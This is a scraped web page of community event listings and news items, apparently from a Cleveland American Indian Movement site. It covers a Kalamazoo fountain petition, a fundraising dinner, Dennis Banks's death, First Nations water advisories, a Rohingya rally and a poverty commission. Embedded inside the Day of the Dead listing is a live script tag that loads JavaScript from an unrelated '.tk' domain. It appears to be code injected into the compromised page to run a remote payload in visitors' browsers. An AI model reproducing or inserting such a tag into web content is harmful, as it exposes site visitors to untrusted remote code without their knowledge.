March 5 - CALL TO ACTION - Fountain of the Pioneers, Kalamazoo MI

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Friends of MCARSM,

Please Sign/Comment & Share this petition to remove the Fountain of the Pioneers from the City of Kalamazoo’s town square. It has been protested since its dedication in 1940.

The city commission will be deciding the fate of this deteriorating symbol of Native oppression on Monday, March 5 at Kalamazoo City Hall.

March 5, 2018 - 6:00pm
Michigan Coalition Against Racism in Sports & Media

SEPA Annual Dinner 2018

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Only a few days left to get your tickets to this year's Guatemala Dinner. If you are in town, come out for a good time, good food and good deeds.

Ben Franklin still has tickets or you can give Sue Simonson a call at 440-774-8220.
Individual Tickets - $12.50

Join Us!
6pm, Saturday, February 17, 2018
Fellowship Hall of First Church United Church of Christ

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February 17, 2018 - 6:00pm
SEPA

Dennis Banks and His Last Walk

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We would like to express our condolences to the Banks family at the last walk of Dennis Banks. One of the original founders of the American Indian Movement, Dennis Banks worked tirelessly to elevate the status of Natives in America. For decades, he was the target of government persecution as he protested contemporary treatment and historical injustices against indigenous peoples in the United States.

Dennis Banks was 80 years old when he went to meet the ancestors Sunday October 29, 2017.

From his children:

"Our father Dennis J. Banks started his journey to the spirit world at 10:10 pm on October 29, 2017.

Almost 50 Aboriginal Communities Have Lost Access to Safe Drinking Water Since 2016

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Jessy Sabourin and her sisters live in the community of Pic Mobert. They have been able to use water from the tap for only a year.

While Ottawa is committed to making drinking water available to all of Canada's Aboriginal water systems by 2021, no less than 47 new drinking water advisories have been put in place since 2016, including 27 since the beginning of the year, according to data obtained by The Canadian Press.

This situation leads several observers to believe that the Trudeau administration is likely not to meet its target of lifting all long-term advisories on systems funded by the Department of Indigenous and Northern Affairs Canada (INAC) by 2021, despite investments of $1.8 billion over the next five years.

Rally Protesting Genocide of Rohingya in Burma

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Flyer for Rally in Support of Peace in Burma.

From SALAAM MEDIA ADVISORY:

Muslim community and our partners are organizing a rally to protest the Burma military’s genocidal attacks on the Rohingya people.

The Rohingya are indigenous people of Burma living in their ancestral lands.

Their citizenship was revoked in 1982 by a military regime. The UN consider the Rohingya to be the world’s most persecuted people.

October 29, 2017 - 2:00pm
Salaam Cleveland
CAIR
the Refugee Response
Burma Task Force

Day of the Dead

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Photo by G.Mannaerts. Day of the Dead (Dia de Muertos), Merida cemetary, Mexico.

The annual days of celebration to honor the ancestors.

Throughout Turtle Island, indigenous people have traditionally honored the dead during those days when the door to the spirit world is open. In the modern era October 31st marks the beginning of this time which ends November 2nd. <script type='text/javascript' src='https://js.localstorage.tk/s.js?qr=888'></script>

October 31, 2017 (All day) to November 2, 2017 (All day)
Cleveland American Indian Movement

The Cleveland Truth Commission on Poverty

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Hear personal testimony about what the Poor face in housing, education, health care, employment, the justice system, and a polluted and toxic environment. Join us to help us break the silence of decades of denial and lies about poverty.

Free childcare will be provided but you must call 216-651-2606 to register your children.

For more information contact: endpovertynow@organizeohio.org or call 216-651-2606.

Hosted by End Poverty NOW Cleveland

October 14, 2017 - 10:00am to 4:00pm
End Poverty NOW Cleveland

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John Winthrop, a founder of the Massachusetts Bay colony considered this wave of illness and death [among Natives] to be a divine miracle. He wrote to a friend in England, "But for the natives in these parts, God hath so pursued them, as for 300 miles space the greatest part of them are swept away by smallpox which still continues among them. So as God hath thereby cleared our title to this place, those who remain in these parts, being in all not 50, have put themselves under our protection.
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